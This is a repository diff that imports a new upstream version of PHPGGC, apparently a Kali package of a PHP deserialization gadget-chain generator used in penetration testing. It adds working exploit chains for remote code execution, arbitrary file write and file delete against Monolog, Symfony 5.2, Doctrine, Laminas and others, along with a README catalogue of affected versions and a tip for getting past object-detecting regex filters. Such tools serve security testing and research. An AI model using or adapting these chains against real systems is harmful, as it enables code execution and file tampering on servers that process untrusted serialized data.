Codebase list phpggc / cb4ff243-7ebe-43f8-bea7-73bbf720e5af/upstream
Import upstream version 0.20210710 Kali Janitor 2 years ago
49 changed file(s) with 1237 addition(s) and 144 deletion(s). Raw diff Collapse all Expand all
77 ## Requirements
88
99 PHP >= 5.6 is required to run PHPGGC.
10 PHP 8 is not yet supported.
1110
1211
1312 ## Usage
2019 Gadget Chains
2120 -------------
2221
23 NAME VERSION TYPE VECTOR I
24 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
25 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
26 Doctrine/FW1 ? File write __toString *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
35 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
36 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
37 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
38 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
39 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
40 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
41 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
42 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
43 Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
44 Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
45 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
46 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
47 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
48 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
49 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
50 PHPExcel/FD1 1.8.2+ File delete __destruct
51 PHPExcel/FD2 <= 1.8.1 File delete __destruct
52 PHPExcel/FD3 1.8.2+ File delete __destruct
53 PHPExcel/FD4 <= 1.8.1 File delete __destruct
54 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
55 Slim/RCE1 3.8.1 RCE (Function call) __toString
56 Smarty/FD1 ? File delete __destruct
57 Smarty/SSRF1 ? SSRF __destruct *
58 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
59 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
60 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
61 SwiftMailer/FW3 5.0.1 File write __toString
62 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
63 Symfony/FW1 2.5.2 File write DebugImport *
64 Symfony/FW2 3.4 File write __destruct
65 Symfony/RCE1 3.3 RCE (Command) __destruct *
66 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
67 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
68 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
69 TCPDF/FD1 <= 6.3.5 File delete __destruct *
70 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
71 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
72 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
73 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
74 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
75 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
76 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
79 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
81 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
82 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
86 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
87 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
88 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
89 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
90 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
91 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
92 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
93 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
22 NAME VERSION TYPE VECTOR I
23 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
24 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
25 Doctrine/FW1 ? File write __toString *
26 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
35 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
36 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
37 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
38 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
39 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
40 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
41 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
42 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
43 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
44 Monolog/RCE1 1.4.1<=1.6.1 & 1.17.2<=2.2.0+ RCE (Function call) __destruct
45 Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct
46 Monolog/RCE3 1.0.2 <= 1.10.0 RCE (Function call) __destruct
47 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
48 Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct
49 Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct
50 Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct *
51 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
52 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
53 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
54 PHPExcel/FD1 1.8.2+ File delete __destruct
55 PHPExcel/FD2 <= 1.8.1 File delete __destruct
56 PHPExcel/FD3 1.8.2+ File delete __destruct
57 PHPExcel/FD4 <= 1.8.1 File delete __destruct
58 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
59 Slim/RCE1 3.8.1 RCE (Function call) __toString
60 Smarty/FD1 ? File delete __destruct
61 Smarty/SSRF1 ? SSRF __destruct *
62 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
63 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
64 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
65 SwiftMailer/FW3 5.0.1 File write __toString
66 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
67 Symfony/FW1 2.5.2 File write DebugImport *
68 Symfony/FW2 3.4 File write __destruct
69 Symfony/RCE1 3.3 RCE (Command) __destruct *
70 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
71 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
72 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
73 Symfony/RCE5 5.2.* RCE (Function call) __destruct
74 TCPDF/FD1 <= 6.3.5 File delete __destruct *
75 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
76 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
79 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
81 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
82 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
86 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
87 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
88 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
89 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
90 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
91 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
92 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
93 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
94 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
95 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
96 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
97 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
98 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
9499
95100 ```
96101
241246 ### Plus Numbers
242247
243248 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
244 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
245
249 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.
250
251 ### Testing your chain
252
253 To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.
254
255 For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:
256
257 ```
258 $ composer create-project symfony/website-skeleton=4.x some_symfony
259 $ cd some_symfony
260 $ phpggc monolog/rce2 --test-payload
261 Trying to deserialize payload...
262 SUCCESS: Payload triggered !
263 ```
264
265 The exit code will be `0` if the payload triggered, `1` otherwise.
266
267 ### Testing your chain against every version of a package
268
269 If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.
270
271 ```
272 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
273 Testing 59 versions for monolog/monolog against 2 gadget chains.
274
275 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
276 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
277 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
278 │ 2.x-dev │ OK │ OK │ KO │
279 │ 2.3.0 │ OK │ OK │ KO │
280 │ 2.2.0 │ OK │ OK │ KO │
281 │ 2.1.1 │ OK │ OK │ KO │
282 │ 2.1.0 │ OK │ OK │ KO │
283 │ 2.0.2 │ OK │ OK │ KO │
284 │ 2.0.1 │ OK │ OK │ KO │
285 │ 2.0.0 │ OK │ OK │ KO │
286 │ 2.0.0-beta2 │ OK │ OK │ KO │
287 │ 2.0.0-beta1 │ OK │ OK │ KO │
288 │ 1.x-dev │ OK │ OK │ KO │
289 │ 1.26.1 │ OK │ OK │ KO │
290 │ 1.26.0 │ OK │ OK │ KO │
291 │ 1.25.5 │ OK │ OK │ KO │
292 │ 1.25.4 │ OK │ OK │ KO │
293 ...
294 │ 1.0.1 │ OK │ KO │ KO │
295 │ 1.0.0 │ OK │ KO │ KO │
296 │ 1.0.0-RC1 │ OK │ KO │ KO │
297 │ dev-main │ OK │ OK │ KO │
298 │ * dev-phpstan │ OK │ OK │ KO │
299 └─────────────────┴─────────┴──────────────┴──────────────┘
300 ```
246301
247302 # API
248303
292347
293348 - `__destruct()` is always the best vector
294349 - Specify at least the version of the library you've built the payload on
295 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
296350 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
351 - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.
297352
298353 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
299354 You can define pre- and post- processing methods, if parameters need to be modified.
304359 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
305360
306361
307
308 ## Docker
362 # Docker
309363
310364 If you don't want to install PHP, you can use `docker build`.
311365
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Creates a side directory "8a" in the same directory as your file.';
10
11 public function generate(array $parameters)
12 {
13 $writablePath = dirname($parameters['remote_path']);
14 $fileName = basename($parameters['remote_path']);
15 $phpCode = file_get_contents($parameters['local_path']);
16
17 return [
18 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
19 new \Doctrine\Common\Cache\Psr6\CacheItem(0),
20 new \Doctrine\Common\Cache\FilesystemCache(
21 '/'.str_repeat('x', 300), $writablePath
22 )
23 ),
24 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
25 new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode),
26 new \Doctrine\Common\Cache\FilesystemCache(
27 '/../../' . $fileName, $writablePath
28 )
29 )
30 ];
31 }
32 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 private $deferredItems = [];
7
8 public function __construct($CacheItem, $FilesystemCache)
9 {
10 $this->deferredItems = ['x' => $CacheItem];
11 $this->cache = $FilesystemCache;
12 }
13 }
14 class CacheItem
15 {
16 private $value;
17
18 public function __construct($phpCode)
19 {
20 $this->value = $phpCode;
21 }
22 }
23 }
24
25 namespace Doctrine\Common\Cache
26 {
27 class FileCache
28 {
29 private $extension;
30 protected $directory;
31 private $umask = 0002;
32
33 public function __construct($extension, $directory)
34 {
35 $this->extension = $extension;
36 $this->directory = $directory;
37 }
38 }
39
40 class FilesystemCache extends FileCache {}
41 }
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Archive_Tar($parameters['remote_file']);
15 return new \Archive_Tar($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \Laminas\Http\Response\Stream($remote_file);
14 return new \Laminas\Http\Response\Stream($remote_path);
1515 }
1616 }
00 <?php
1 namespace Laminas\Http\Response {
2 class Stream {
3 function __construct($remote_file) {
1
2 namespace Laminas\Http\Response
3 {
4 class Stream
5 {
6 function __construct($remote_path)
7 {
48 $this->cleanup = '1';
5 $this->streamName = $remote_file;
9 $this->streamName = $remote_path;
610 }
711 }
812 }
0 <?php
1
2 namespace GadgetChain\Laminas;
3
4 use Laminas\Cache\Psr\CacheItemPool\CacheItem;
5 use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
6 use Laminas\Cache\Storage\Adapter\Filesystem;
7 use Laminas\Cache\Storage\Adapter\FilesystemOptions;
8
9
10 class FW1 extends \PHPGGC\GadgetChain\FileWrite
11 {
12 public static $version = '2.8.0 <= 3.0.x-dev';
13 public static $vector = '__destruct';
14 public static $author = 'swapgs';
15 public static $information = '
16 This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and
17 laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work.
18 Asking for a remote filename without extension will create a file with a trailing dot
19 (e.g. asking for `foo` will create `foo.`)
20 ';
21
22 public function process_parameters($parameters)
23 {
24 $parameters = parent::process_parameters($parameters);
25 $infos = pathinfo($parameters['remote_path']);
26 $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : '';
27 $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : '';
28 $parameters['dirname'] = dirname($parameters['remote_path']);
29
30 return $parameters;
31 }
32
33 public function generate(array $parameters)
34 {
35 return new CacheItemPoolDecorator(
36 new Filesystem(
37 new FilesystemOptions($parameters['dirname'], $parameters['extension'])
38 ),
39 [new CacheItem($parameters['filename'], $parameters['data'])]
40 );
41 }
42 }
0 <?php
1
2 namespace Laminas\Cache\Storage\Adapter
3 {
4 class AdapterOptions
5 {
6 protected $namespace;
7 protected $keyPattern;
8
9 function __construct()
10 {
11 $this->namespace = '';
12 $this->keyPattern = '/.*/';
13 }
14 }
15
16 class FilesystemOptions extends AdapterOptions
17 {
18 protected $cacheDir;
19 protected $dirLevel;
20 protected $suffix;
21
22 function __construct($cacheDir, $extension)
23 {
24 parent::__construct();
25 $this->cacheDir = $cacheDir;
26 $this->suffix = $extension;
27 $this->dirLevel = 0;
28 }
29 }
30
31 class Filesystem
32 {
33 protected $options;
34
35 function __construct($options)
36 {
37
38 $this->options = $options;
39 }
40 }
41 }
42
43 namespace Laminas\Cache\Psr\CacheItemPool
44 {
45 class CacheItemPoolDecorator
46 {
47 protected $storage;
48 protected $deferred;
49
50 function __construct($storage, $deferred)
51 {
52 $this->storage = $storage;
53 $this->deferred = $deferred;
54 }
55 }
56
57 class CacheItem
58 {
59 protected $key;
60 protected $value;
61
62 function __construct($key, $value)
63 {
64 $this->key = $key;
65 $this->value = $value;
66 }
67 }
68 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.18 <= 2.1.1+';
6 public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2727 {
2828 $this->processors = $methods;
2929 $this->buffer = [$command];
30 $this->handler = clone $this;
30 $this->handler = $this;
3131 }
3232 }
33 }
33 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.5 <= 2.1.1+';
6 public static $version = '1.4.1 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2828 {
2929 $this->processors = $methods;
3030 $this->buffer = [$command];
31 $this->handler = clone $this;
31 $this->handler = $this;
3232 }
3333 }
34 }
34 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.25 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\GroupHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class GroupHandler {
22 protected $processors = array();
23 public function __construct($function)
24 {
25 $this->processors = ['current', $function];
26 }
27
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\BufferHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class BufferHandler
22 {
23 protected $handler;
24 protected $bufferSize = -1;
25 protected $buffer;
26 # ($record['level'] < $this->level) == false
27 protected $level = null;
28 protected $initialized = true;
29 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
30 protected $bufferLimit = -1;
31 protected $processors;
32
33 function __construct($function)
34 {
35 $this->processors = ['current', $function];
36 }
37 }
38
39 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler(
17 ['pos', $function], // pos() is an alias of current() function, but it's shorter :-)
18 [$parameter, 'level' => 0]
19 );
20 }
21 }
0 <?php
1 namespace Monolog\Handler
2 {
3 class FingersCrossedHandler
4 {
5 protected $passthruLevel = 0;
6 protected $handler;
7 protected $buffer;
8 protected $processors;
9
10 function __construct($methods,$command)
11 {
12 $this->processors = $methods;
13 $this->buffer = [$command];
14 $this->handler = $this;
15 }
16 }
17 }
88
99 public function generate(array $parameters)
1010 {
11 $remote_file = $parameters["remote_file"];
11 $remote_path = $parameters["remote_path"];
1212
13 return new \PhpCsFixer\FileRemoval($remote_file);
13 return new \PhpCsFixer\FileRemoval($remote_path);
1414 }
1515 }
1616
55 class FileRemoval
66 {
77
8 function __construct($remote_file)
8 function __construct($remote_path)
99 {
10 $this->files = [$remote_file => $remote_file];
10 $this->files = [$remote_path => $remote_path];
1111
1212 }
1313
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_file);
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
1515 }
1616 }
44 class ProcessLinter
55 {
66
7 function __construct($remote_file)
7 function __construct($remote_path)
88 {
9 $this->temporaryFile = $remote_file;
9 $this->temporaryFile = $remote_path;
1010 $this->fileRemoval = new \PhpCsFixer\FileRemoval();
1111
1212 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
1818 {
1919 return new \Phalcon\Logger\Adapter\File();
2020 }
21
22 public function test_setup()
23 {
24 throw new \PHPGGC\Exception("This GC cannot be tested.");
25 }
2126 }
77 public static $vector = '__destruct';
88 public static $author = 'd3adc0de';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Smarty_Internal_Template($parameters['remote_file']);
15 return new \Smarty_Internal_Template($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.2.*';
7 public static $vector = '__destruct';
8 public static $author = 'byc_404';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15
16 return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Symfony\Component\Cache\Adapter
3 {
4 class ProxyAdapter
5 {
6 private $createCacheItem;
7 private $namespace;
8 private $pool;
9
10 public function __construct($createCacheItem, $pool)
11 {
12 $this->createCacheItem = $createCacheItem;
13 $this->pool = $pool;
14 $this->namespace = '';
15 }
16 }
17
18
19 class NullAdapter
20 {
21 private $createCacheItem;
22
23 public function __construct($createCacheItem)
24 {
25 $this->createCacheItem = $createCacheItem;
26 }
27 }
28 }
29
30 namespace Symfony\Component\Console\Helper
31 {
32 class Dumper
33 {
34 private $handler;
35
36 public function __construct($handler)
37 {
38 $this->handler = $handler;
39 }
40 }
41 }
42
43
44 namespace Symfony\Component\Cache\Traits
45 {
46 class RedisProxy
47 {
48 private $redis;
49 private $initializer;
50
51 public function __construct($initializer, $redis)
52 {
53 $this->initializer = $initializer;
54 $this->redis = $redis;
55 }
56 }
57 }
58
59 namespace Symfony\Component\Form
60 {
61
62 class FormErrorIterator
63 {
64 public $form;
65 private $errors;
66
67 function __construct($errors, $form)
68 {
69 $this->errors = $errors;
70 $this->form = $form;
71 }
72 }
73 }
74
75
76 namespace Symfony\Component\HttpKernel\DataCollector
77 {
78 class DumpDataCollector
79 {
80 protected $data;
81 private $stopwatch;
82 private $fileLinkFormat;
83 private $dataCount = 0;
84 private $isCollected = false;
85 private $clonesCount = 0;
86 private $clonesIndex = 0;
87
88 public function __construct($function, $command)
89 {
90 $this->data = [
91 [
92 "data" => "1",
93 "name" => new \Symfony\Component\Form\FormErrorIterator([
94 new \Symfony\Component\Form\FormErrorIterator(
95 [],
96 new \Symfony\Component\Cache\Traits\RedisProxy(
97 new \Symfony\Component\Console\Helper\Dumper([
98 new \Symfony\Component\Cache\Adapter\ProxyAdapter(
99 'dd', // exit function
100 new \Symfony\Component\Cache\Adapter\NullAdapter($function)
101 ),
102 "getItem"
103 ]),
104 $command
105 )
106 )],
107 null
108 ),
109 "file" => "3",
110 "line" => "4"
111 ],
112 null,
113 null
114 ];
115 }
116 }
117 }
1313
1414 public function generate(array $parameters)
1515 {
16 $file = $parameters['remote_file'];
16 $file = $parameters['remote_path'];
1717
1818 return new \TCPDF(
1919 $file
22 class TCPDF {
33 protected $imagekeys;
44
5 function __construct($remote_file) {
5 function __construct($remote_path) {
66 $this->imagekeys = [
7 $remote_file
7 $remote_path
88 ];
99 }
1010 }
77 public static $vector = '__destruct';
88 public static $author = 'mpchadwick';
99 public static $parameters = [
10 'remote_file'
